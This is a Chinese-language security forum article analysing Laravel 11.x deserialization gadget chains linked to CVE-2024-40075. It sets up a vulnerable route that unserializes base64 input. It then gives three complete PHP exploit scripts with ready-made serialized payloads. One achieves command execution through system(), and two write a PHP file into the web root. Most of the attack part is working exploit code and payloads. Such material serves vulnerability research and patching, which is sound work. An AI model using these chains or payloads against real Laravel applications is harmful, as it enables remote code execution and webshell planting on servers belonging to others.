问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Laravel 11.x 反序列化链分析
漏洞分析
Laravel 是用 PHP 编写的开源 Web 应用程序框架。Laravel发布了一个反序列化漏洞,分析过程参考https://gitee.com/Q16G/laravel_bug/blob/master/laravelBug.md,分析过后尝试寻找其他的利用链,最终找到两条利用链
前言 -- Laravel 是用 PHP 编写的开源 Web 应用程序框架。Laravel发布了一个反序列化漏洞(CVE-2024-40075),分析过程参考[https://gitee.com/Q16G/laravel\_bug/blob/master/laravelBug.md](https://gitee.com/Q16G/laravel_bug/blob/master/laravelBug.md),分析过后尝试寻找其他的利用链,最终找到两条利用链 环境搭建 ---- ```sh composer create-project laravel/laravel laravel ``` 这里获取到的版本是11.19.0的,接着在routes\\web.php下添加一个入口 ```php Route::get('/vuln', function (\Illuminate\Http\Request $request) { $data = $request->input("data"); unserialize(base64_decode($data)); }); ``` 反序列化链1 ------ 反序列化链起点在Illuminate\\Broadcasting\\PendingBroadcast#\_\_destruct()下,这里可以构造$this->events的值,调用到任意类下的dispath()方法 ![image-20240730115435854.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-6e0affa8f52319d5660a91724971b50dddd5f21d.png) 这里选择的是src/Illuminate/Bus/Dispatcher类,如果$this->queueResolver && $this->commandShouldBeQueued($command)为true就会调用到$this->dispatchToQueue() ![image-20240730121856332.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-12836f8420e460433552931036aa3753df8f946b.png) $this->queueResolver的值可控,跟进到$this->commandShouldBeQueued()下,该方法用于判断$command是否继承了ShouldQueue类 ```php // 这里使用的是QueuedCommand类,该类继承了ShouldQueue $this->event=new Illuminate\Foundation\Console\QueuedCommand() ``` ![image-20240730122050788.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-e2b7b63707e1dccae8a49b9b0e5bdf538f15658b.png) 跟进到dispatchToQueue()下,$this->queueResolver的值可控,$connection的值通过$command->connection获得,$connection是Queueable类下的属性也是可控的,所以就可以构造反序列化链了 ![image-20240730122929397.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-6027fd1392a13045cac664c6fa2705ebadc45a33.png) ![image-20240730122718805.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-6f98f418bdb92b3dddba7d043e02940ffd2ad604.png) **调用栈** ```php PendingBroadcast#__destruct() Dispatcher#__dispatch() Dispatcher#dispatchToQueue() ``` **完整exp** ```php <?php namespace Illuminate\Foundation\Console { Class QueuedCommand{ public $connection; public function __construct(){ $this->connection = "calc"; } } } namespace Illuminate\Bus { Class Dispatcher { protected $queueResolver; public function __construct() { $this->queueResolver = "system"; } } } namespace Illuminate\Broadcasting { use Illuminate\Foundation\Console\QueuedCommand; use Illuminate\Bus\Dispatcher; Class PendingBroadcast { protected $events; protected $event; public function __construct() { $this->events = new Dispatcher(); $this->event = new QueuedCommand(); } } } namespace { $obj = new Illuminate\Broadcasting\PendingBroadcast(); echo base64_encode(serialize($obj)); } /* Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7Tzo0MzoiSWxsdW1pbmF0ZVxGb3VuZGF0aW9uXENvbnNvbGVcUXVldWVkQ29tbWFuZCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo0OiJjYWxjIjt9fQ== */ ``` 反序列化链2 ------ 在抽象类Handler中\_\_destruct()魔术方法中调用了close(),而GroupHandler类继承了Handler类,所以可以调用到close() ![image-20240731111535585.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-f3f502c35d24ba6456c98aef81681e9b620675a8.png) ![image-20240731111807251.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-37b3c20d392b19d35f7e1c2d8fb05f1074ef1860.png) 在GroupHandler#close()中需要调用到Stream#close(),而Stream是一个抽象类,FileRead继承了Stream,所以可以实例化FileRead类 ```php $this->handlers = [new FileRead()]; ``` ![image-20240731112108438.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-b1605bfd027e3a02c0fd46bd92db2ff6fe84316c.png) 在该方法下,$this->getStreamName()的返回值是可控的,接着会调用md5($streamName),如果$streamName是一个对象的话,就会调用到该对象下的\_\_toString()方法 ![image-20240731112436640.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-662f90370e7beb2dd22b3d0b2a83390919d07985.png) 这里使用的类是InvokableComponentVariable类,在\_\_toString方法下又调用了$this->\_\_invoke() 在\_\_invoke()中,$this->callable是可控的,它是一个可调用对象,call\_user\_func()函数会将这个可调用对象作为参数来执行它,也就是说现在通过控制$this->callable的值可以调用到其他类的方法 ```php // 所调用的方法满足以下条件 1、方法类型为public 2、方法无需参数 ``` ![image-20240731112751172.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-efff43dafd4a9080ef9a0d863251e062a484aeda.png) 这里选择调用的是PhpOption\\LazyOption#getIterator() ```php $this->callable = [new LazyOption(), "getIterator"]; ``` ![image-20240731122123380.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-994f4306c93def30c97cfd3a9d72012041a78f01.png) 跟进到this->option(),可以看到这里再次出现了call\_user\_func\_array(),$this->callback和$this->arguments都是可控的,这里就可以通过call\_user\_func\_array()就可以调用到其他类的有参方法 ![image-20240731122159665.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-2e0147cb318c5f5a9756a61f0452d7d34ff50d7f.png) 这里找到了Illuminate\\Filesystem\\Filesystem类下面的put()方法,$pach和$contents的值可以通过$this->arguments传递进来 ```php $this->callback = [new Filesystem(), "put"]; $this->arguments = ["111111.php","<?php phpinfo();?>"]; ``` ![image-20240731162159680.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-3fdb295973647db71551b8217ff081741c1dd150.png) 由于这条链子可以通过call\_usr\_func\_array()调用到其他类的有参方法,所以还存在很多的利用点 **调用栈** ```php Handler#__destruct() GroupHandler#close() Stream#__close() InvokableComponentVariable#__toString() InvokableComponentVariable#__invoke() LazyOption#getIterator() LazyOption#option() Filesystem#put() ``` 完整exp如下,执行之后会在public目录下生成111111.php文件 ```php <?php namespace Illuminate\Filesystem { class Filesystem {} } namespace PhpOption { use Illuminate\Filesystem\Filesystem; class LazyOption { private $callback; private $arguments; public function __construct() { $this->callback = [new Filesystem(), "put"]; $this->arguments = ["111111.php","<?php phpinfo();?>"]; } } } namespace Illuminate\View { use PhpOption\LazyOption; class InvokableComponentVariable { protected $callable; public function __construct() { $this->callable = [new LazyOption(), "getIterator"]; } } } namespace Psy\Readline\Hoa{ use Illuminate\View\InvokableComponentVariable; abstract Class Stream{ protected $_bucket; public function __construct(){ $this->_bucket = [new InvokableComponentVariable()]; } } Class FileRead extends Stream {} } namespace Monolog\Handler{ use Psy\Readline\Hoa\FileRead; Class GroupHandler{ protected array $handlers; public function __construct(){ $this->handlers = [new FileRead()]; } } } namespace { $obj = new Monolog\Handler\GroupHandler(); $str = base64_encode(serialize($obj)); } /* TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMToiACoAaGFuZGxlcnMiO2E6MTp7aTowO086MjU6IlBzeVxSZWFkbGluZVxIb2FcRmlsZVJlYWQiOjE6e3M6MTA6IgAqAF9idWNrZXQiO2E6MTp7aTowO086NDI6IklsbHVtaW5hdGVcVmlld1xJbnZva2FibGVDb21wb25lbnRWYXJpYWJsZSI6MTp7czoxMToiACoAY2FsbGFibGUiO2E6Mjp7aTowO086MjA6IlBocE9wdGlvblxMYXp5T3B0aW9uIjoyOntzOjMwOiIAUGhwT3B0aW9uXExhenlPcHRpb24AY2FsbGJhY2siO2E6Mjp7aTowO086MzI6IklsbHVtaW5hdGVcRmlsZXN5c3RlbVxGaWxlc3lzdGVtIjowOnt9aToxO3M6MzoicHV0Ijt9czozMToiAFBocE9wdGlvblxMYXp5T3B0aW9uAGFyZ3VtZW50cyI7YToyOntpOjA7czoxMDoiMTExMTExLnBocCI7aToxO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7fX1pOjE7czoxMToiZ2V0SXRlcmF0b3IiO319fX19fQ== */ ``` 反序列化链3 ------ 这条链实际上是链2的另一个利用点,这里也放出来,这条链有版本的限制,上面的利用链在11.19.0和11.5.0版本中测试都可以利用 下面这条链在11.5.0中测试可以利用,在11.19.0版本由于移除了相应的依赖而无法使用 在11.19.0中移除了spatie/laravel-ignition依赖,而反序列化链3的gadget需要利用到该依赖,可以通过项目的composer.json文件查看是否存在对应的依赖 ![image-20240731164620477.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-7f11c2231e8463eed296aa1cdfc535f7072d7da6.png) ![image-20240731164648201.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-c6253cebdd190a82b2c3307a0b2c038d8b115669.png) 在链2是通过Filesystem#put()中的file\_put\_contents来写入的,而链三使用的是FileConfigManager#save() ![image-20240731141924229.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-6e66d3076c42b2849f047646ae594f94ce591ab2.png) save()方法首先会调用$this->createFile()判断$this->file文件是否存在,不存在的话会先生成该文件 ![image-20240731142052717.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-a54f0e1766acaba62dd527053d245405f5772066.png) 接着调用saveToFile(),该方法里又调用了writeToFile()将内容写入文件 ![image-20240731142220843.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-d6f3adcc0631e129706a96c3f000a985578c59f3.png) ```php <?php namespace Spatie\Ignition\Config { class FileConfigManager { private string $file; private string $path; public function __construct() { $this->path = "1"; $this->file = "111111.php"; } } } namespace PhpOption { use Spatie\Ignition\Config\FileConfigManager; class LazyOption { private $callback; private $arguments; public function __construct() { $this->callback = [new FileConfigManager(), "save"]; $this->arguments = [["<?php phpinfo();?>"]]; } } } namespace Illuminate\View { use PhpOption\LazyOption; class InvokableComponentVariable { protected $callable; public function __construct() { $this->callable = [new LazyOption(), "getIterator"]; } } } namespace Psy\Readline\Hoa{ use Illuminate\View\InvokableComponentVariable; abstract Class Stream{ protected $_bucket; public function __construct(){ $this->_bucket = [new InvokableComponentVariable()]; } } Class FileRead extends Stream {} } namespace Monolog\Handler{ use Psy\Readline\Hoa\FileRead; Class GroupHandler{ protected array $handlers; public function __construct(){ $this->handlers = [new FileRead()]; } } } namespace { $obj = new Monolog\Handler\GroupHandler(); $str = base64_encode(serialize($obj)); echo $str; } /* TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7czoxMToiACoAaGFuZGxlcnMiO2E6MTp7aTowO086MjU6IlBzeVxSZWFkbGluZVxIb2FcRmlsZVJlYWQiOjE6e3M6MTA6IgAqAF9idWNrZXQiO2E6MTp7aTowO086NDI6IklsbHVtaW5hdGVcVmlld1xJbnZva2FibGVDb21wb25lbnRWYXJpYWJsZSI6MTp7czoxMToiACoAY2FsbGFibGUiO2E6Mjp7aTowO086MjA6IlBocE9wdGlvblxMYXp5T3B0aW9uIjoyOntzOjMwOiIAUGhwT3B0aW9uXExhenlPcHRpb24AY2FsbGJhY2siO2E6Mjp7aTowO086NDA6IlNwYXRpZVxJZ25pdGlvblxDb25maWdcRmlsZUNvbmZpZ01hbmFnZXIiOjI6e3M6NDY6IgBTcGF0aWVcSWduaXRpb25cQ29uZmlnXEZpbGVDb25maWdNYW5hZ2VyAGZpbGUiO3M6MTA6IjExMTExMS5waHAiO3M6NDY6IgBTcGF0aWVcSWduaXRpb25cQ29uZmlnXEZpbGVDb25maWdNYW5hZ2VyAHBhdGgiO3M6MToiMSI7fWk6MTtzOjQ6InNhdmUiO31zOjMxOiIAUGhwT3B0aW9uXExhenlPcHRpb24AYXJndW1lbnRzIjthOjE6e2k6MDthOjE6e2k6MDtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO319fWk6MTtzOjExOiJnZXRJdGVyYXRvciI7fX19fX19 */ ``` 参考 -- [https://gitee.com/Q16G/laravel\_bug/blob/master/laravelBug.md](https://gitee.com/Q16G/laravel_bug/blob/master/laravelBug.md)
发表于 2024-08-06 09:38:21
阅读 ( 3883 )
分类:
开发框架
1 推荐
收藏
3 条评论
Q16G
1秒前
laravel的链子还是比较简单的
请先
登录
后评论
Q16G
1秒前
👍
请先
登录
后评论
Q16G
1秒前
还是比较简单的
请先
登录
后评论
请先
登录
后评论
kakakakaxi
7 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!